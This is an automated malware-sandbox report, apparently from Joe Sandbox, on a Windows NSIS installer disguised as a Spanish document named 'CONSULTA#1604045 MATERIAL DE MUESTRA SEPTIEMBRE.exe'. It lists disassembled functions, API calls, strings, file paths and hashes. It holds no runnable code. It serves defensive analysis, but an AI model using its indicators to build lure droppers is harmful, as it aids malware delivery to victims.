Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpynlstrlen
String ID: "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"$.tmp$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe$Error launching installer$Error writing temporary file. Make sure your temp folder is valid.$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 2488574733-2011355925
Opcode ID: 290ea68bc16bf9ba0967596cf016d677efff9e7d5fa8e06392f64e50e51ce68c
Instruction ID: 1c098c9ac5d33f9e9f606ea88917c77842503da0397251e5f420d8b791505771
Opcode Fuzzy Hash: 290ea68bc16bf9ba0967596cf016d677efff9e7d5fa8e06392f64e50e51ce68c
Instruction Fuzzy Hash: 92D107B1200301ABD7207F659D49A3B3AACEB80709F51443FF881B62D1DB7D8952CB6E

Function 004054B0 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040550E
GetDlgItem.USER32(?,000003EE), ref: 0040551D
GetClientRect.USER32(?,?), ref: 0040555A
GetSystemMetrics.USER32(00000002), ref: 00405561
SendMessageW.USER32(?,00001061,00000000,?), ref: 00405582
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00405593
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004055A6
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004055B4
SendMessageW.USER32(?,00001024,00000000,?), ref: 004055C7
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 004055E9
ShowWindow.USER32(?,00000008), ref: 004055FD
GetDlgItem.USER32(?,000003EC), ref: 0040561E
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040562E
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405647
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00405653
GetDlgItem.USER32(?,000003F8), ref: 0040552C

Part of subcall function 0040430B: SendMessageW.USER32(00000028,?,?,00404137), ref: 00404319

GetDlgItem.USER32(?,000003EC), ref: 00405670
CreateThread.KERNELBASE(00000000,00000000,Function_00005444,00000000), ref: 0040567E
CloseHandle.KERNELBASE(00000000), ref: 00405685
ShowWindow.USER32(00000000), ref: 004056A9
ShowWindow.USER32(?,00000008), ref: 004056AE
ShowWindow.USER32(00000008), ref: 004056F8
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0040572C
CreatePopupMenu.USER32 ref: 0040573D
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00405751
GetWindowRect.USER32(?,?), ref: 00405771
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 0040578A
SendMessageW.USER32(?,00001073,00000000,?), ref: 004057C2
OpenClipboard.USER32(00000000), ref: 004057D2
EmptyClipboard.USER32 ref: 004057D8
GlobalAlloc.KERNEL32(00000042,00000000), ref: 004057E4
GlobalLock.KERNEL32(00000000), ref: 004057EE
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405802
GlobalUnlock.KERNEL32(00000000), ref: 00405822
SetClipboardData.USER32(0000000D,00000000), ref: 0040582D
CloseClipboard.USER32 ref: 00405833

Strings

{, xrefs: 00405716
(7B, xrefs: 0040579E

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: (7B${
API String ID: 590372296-525222780
Opcode ID: 972fd15b03a93e7331ef4c8797c1849d59520224656438122eee1199d8052db9
Instruction ID: 42ee76c5c0789c909e5484b793d5ed8b68dab9236198efc003755603ec60545b
Opcode Fuzzy Hash: 972fd15b03a93e7331ef4c8797c1849d59520224656438122eee1199d8052db9
Instruction Fuzzy Hash: A4B16971900608FFDB119FA0DD89AAE7B79FB08354F00847AFA45B61A0CB754E51DF68

Function 00405A03 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,758E3420,758E2EE0,00000000), ref: 00405A2C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\nsm3276.tmp,\*.*,C:\Users\user\AppData\Local\Temp\nsm3276.tmp,?,?,758E3420,758E2EE0,00000000), ref: 00405A74
lstrcatW.KERNEL32(?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsm3276.tmp,?,?,758E3420,758E2EE0,00000000), ref: 00405A97
lstrlenW.KERNEL32(?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsm3276.tmp,?,?,758E3420,758E2EE0,00000000), ref: 00405A9D
FindFirstFileW.KERNELBASE(C:\Users\user\AppData\Local\Temp\nsm3276.tmp,?,?,?,0040A014,?,C:\Users\user\AppData\Local\Temp\nsm3276.tmp,?,?,758E3420,758E2EE0,00000000), ref: 00405AAD
FindNextFileW.KERNELBASE(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405B4D
FindClose.KERNEL32(00000000), ref: 00405B5C

Strings

"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe", xrefs: 00405A03
\*.*, xrefs: 00405A6E
C:\Users\user\AppData\Local\Temp\nsm3276.tmp, xrefs: 00405A5C, 00405A62, 00405A73, 00405AAC

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"$C:\Users\user\AppData\Local\Temp\nsm3276.tmp$\*.*
API String ID: 2035342205-1186376234
Opcode ID: bf521971237f06a6bfd3a8137c3f0154ea7fee40ee360af2ff33bb12ffbce5a4
Instruction ID: 3abc1f52a39f62d65ddaa07d2a5323def7e4f5b1e1581b0ba6d8596f0725500f
Opcode Fuzzy Hash: bf521971237f06a6bfd3a8137c3f0154ea7fee40ee360af2ff33bb12ffbce5a4
Instruction Fuzzy Hash: FA41CE30901A18AADB31AB668C89ABF7678EF41714F10427BF801711D1D7BC69829E6E

Function 00405840 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,C:\Users\user\AppData\Local\Temp\), ref: 00405883
GetLastError.KERNEL32 ref: 00405897
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004058AC
GetLastError.KERNEL32 ref: 004058B6

Strings

C:\Users\user\Desktop, xrefs: 00405840
C:\Users\user\AppData\Local\Temp\, xrefs: 00405866

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop
API String ID: 3449924974-26219170
Opcode ID: 6ae7c342d9c1b50a082fcf4789916780a4d0616efa07736c5e287c1420eecf92
Instruction ID: cbd092c4ebd5e7b47652c6b2ce971f8280a433404df7830fbb595f789125ae90
Opcode Fuzzy Hash: 6ae7c342d9c1b50a082fcf4789916780a4d0616efa07736c5e287c1420eecf92
Instruction Fuzzy Hash: 43011A72D00619DAEF10EFA0C9447EFBBB8EF04344F00803AD944B6280E7789614CF99

Function 004068DA Relevance: 5.4, APIs: 4, Instructions: 382COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c82c24978351f7c13972ed02e311308c491194f519d2ef9506af47d33a0889c0
Instruction ID: a9eeadc94889c10b02ffd6b9c25b4bb5d01c95f6ce45251ce11bee8d9ce53b4a
Opcode Fuzzy Hash: c82c24978351f7c13972ed02e311308c491194f519d2ef9506af47d33a0889c0
Instruction Fuzzy Hash: BFF18671D04229CBCF28CFA8C8946ADBBB1FF45305F25816ED856BB281C7785A86CF45

Function 00406555 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(758E3420,00426778,00425F30,00405D17,00425F30,00425F30,00000000,00425F30,00425F30,758E3420,?,758E2EE0,00405A23,?,758E3420,758E2EE0), ref: 00406560
FindClose.KERNELBASE(00000000), ref: 0040656C

Strings

xgB, xrefs: 00406556

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: xgB
API String ID: 2295610775-399326502
Opcode ID: 4403a27f78f835125bd15cd158b53f866fd18ebbb8f54cd400289453990cbd04
Instruction ID: a17ed3a5ae88bd5f55df5b749dd223de66f1ff534e9406d7b6838b5a0b6fdea6
Opcode Fuzzy Hash: 4403a27f78f835125bd15cd158b53f866fd18ebbb8f54cd400289453990cbd04
Instruction Fuzzy Hash: 6FD01231904530ABC3111778BE0CC5B7A689F553717628F36F466F12F4C7348C22869C

Function 00403DFE Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403E3A
ShowWindow.USER32(?), ref: 00403E57
DestroyWindow.USER32 ref: 00403E6B
SetWindowLongW.USER32(?,00000000,00000000), ref: 00403E87
GetDlgItem.USER32(?,?), ref: 00403EA8
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00403EBC
IsWindowEnabled.USER32(00000000), ref: 00403EC3
GetDlgItem.USER32(?,?), ref: 00403F71
GetDlgItem.USER32(?,00000002), ref: 00403F7B
SetClassLongW.USER32(?,000000F2,?), ref: 00403F95
SendMessageW.USER32(0000040F,00000000,?,?), ref: 00403FE6
GetDlgItem.USER32(?,00000003), ref: 0040408C
ShowWindow.USER32(00000000,?), ref: 004040AD
KiUserCallbackDispatcher.NTDLL(?,?), ref: 004040BF
EnableWindow.USER32(?,?), ref: 004040DA
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 004040F0
EnableMenuItem.USER32(00000000), ref: 004040F7
SendMessageW.USER32(?,000000F4,00000000,?), ref: 0040410F
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 00404122
lstrlenW.KERNEL32(00423728,?,00423728,00429240), ref: 0040414B
SetWindowTextW.USER32(?,00423728), ref: 0040415F
ShowWindow.USER32(?,0000000A), ref: 00404293

Strings

(7B, xrefs: 00404137

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID: (7B
API String ID: 3282139019-3251261122
Opcode ID: bf57cdb372042753c8b1df4c54f37feee0138c44ccfb620b50d6a1129c986343
Instruction ID: fc2721e09aaab4c72f4ebfdf2c157598dee1e076b88a1be66e463b94688f5fa6
Opcode Fuzzy Hash: bf57cdb372042753c8b1df4c54f37feee0138c44ccfb620b50d6a1129c986343
Instruction Fuzzy Hash: 6BC1C2B1600201FFCB21AF61ED85E2B3AB9EB95345F40057EFA41B11F0CB7998529B2D

Function 00403A5B Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004065EC: GetModuleHandleA.KERNEL32(?,00000020,?,004034B3,00000009), ref: 004065FE
Part of subcall function 004065EC: GetProcAddress.KERNEL32(00000000,?), ref: 00406619

lstrcatW.KERNEL32(1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,758E3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe",00000000), ref: 00403ADC
lstrlenW.KERNEL32(Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000,00000002,758E3420), ref: 00403B5C
lstrcmpiW.KERNEL32(?,.exe,Call,?,?,?,Call,00000000,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable,1033,00423728,80000001,Control Panel\Desktop\ResourceLocale,00000000,00423728,00000000), ref: 00403B6F
GetFileAttributesW.KERNEL32(Call), ref: 00403B7A
LoadImageW.USER32(00000067,?,00000000,00000000,00008040,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable), ref: 00403BC3

Part of subcall function 00406159: wsprintfW.USER32 ref: 00406166

RegisterClassW.USER32(004291E0), ref: 00403C00
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00403C18
CreateWindowExW.USER32(00000080,_Nb,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00403C4D
ShowWindow.USER32(00000005,00000000), ref: 00403C83
GetClassInfoW.USER32(00000000,RichEdit20W,004291E0), ref: 00403CAF
GetClassInfoW.USER32(00000000,RichEdit,004291E0), ref: 00403CBC
RegisterClassW.USER32(004291E0), ref: 00403CC5
DialogBoxParamW.USER32(?,00000000,00403DFE,00000000), ref: 00403CE4

Strings

RichEdit, xrefs: 00403CB6
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable, xrefs: 00403AEB, 00403AF3, 00403B96, 00403B9C, 00403BAC
RichEd32, xrefs: 00403C97
RichEdit20W, xrefs: 00403CA7, 00403CAD
1033, xrefs: 00403A7B, 00403AD7
(7B, xrefs: 00403A87
Control Panel\Desktop\ResourceLocale, xrefs: 00403A8F
_Nb, xrefs: 00403BDF, 00403C47
.DEFAULT\Control Panel\International, xrefs: 00403AC7
"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe", xrefs: 00403A5F
C:\Users\user\AppData\Local\Temp\, xrefs: 00403A60
.exe, xrefs: 00403B69
Call, xrefs: 00403B23, 00403B2C, 00403B3A, 00403B89, 00403B8F
RichEd20, xrefs: 00403C89

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Class$Info$RegisterWindow$AddressAttributesCreateDialogFileHandleImageLoadModuleParamParametersProcShowSystemlstrcatlstrcmpilstrlenwsprintf
String ID: "C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe"$(7B$.DEFAULT\Control Panel\International$.exe$1033$C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\sundhedsstyrelsens\ruttiest\rentable$C:\Users\user\AppData\Local\Temp\$Call$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20W$_Nb
API String ID: 1975747703-506798098
Opcode ID: 0ee41304b45ea222ab407853068b800f5013aa7f596612d197709f65786b57e8
Instruction ID: a49deb01357f173a4aad96dc60f9d02752f373419f451c4cfac2514e29acbaba
Opcode Fuzzy Hash: 0ee41304b45ea222ab407853068b800f5013aa7f596612d197709f65786b57e8
Instruction Fuzzy Hash: ED61C370240300BAD620AF669D45E2B3A7CEB84749F40457EF941B22E2DB7D9D52CA2D

Function 00402ED5 Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 203
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402EE9
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,00000400), ref: 00402F05

Part of subcall function 00405DE7: GetFileAttributesW.KERNELBASE(00000003,00402F18,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,80000000,00000003), ref: 00405DEB
Part of subcall function 00405DE7: CreateFileW.KERNELBASE(?,?,?,00000000,?,00000001,00000000), ref: 00405E0D

GetFileSize.KERNEL32(00000000,00000000,00439000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe,80000000,00000003), ref: 00402F4E
GlobalAlloc.KERNELBASE(00000040,0040A230), ref: 00403095

Strings

C:\Users\user\Desktop, xrefs: 00402F30, 00402F35, 00402F3B
xc, xrefs: 0040311D
soft, xrefs: 00402FC5
"C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe", xrefs: 00402ED5
Error launching installer, xrefs: 00402F25
Null, xrefs: 00402FCE
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004030DE
C:\Users\user\AppData\Local\Temp\, xrefs: 00402EDF, 004030AD
Inst, xrefs: 00402FBC
C:\Users\user\Desktop\CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.exe, xrefs: 00402EEF, 00402EFE, 00402F12, 00402F2F
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 0040312C

Memory Dump Source

Source File: 00000000.00000002.2972270846.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2972239651.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972312395.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000042D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000044A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972358154.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2972705956.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: File$AllocAttributesCountCreateGlobalModuleNameSizeTick
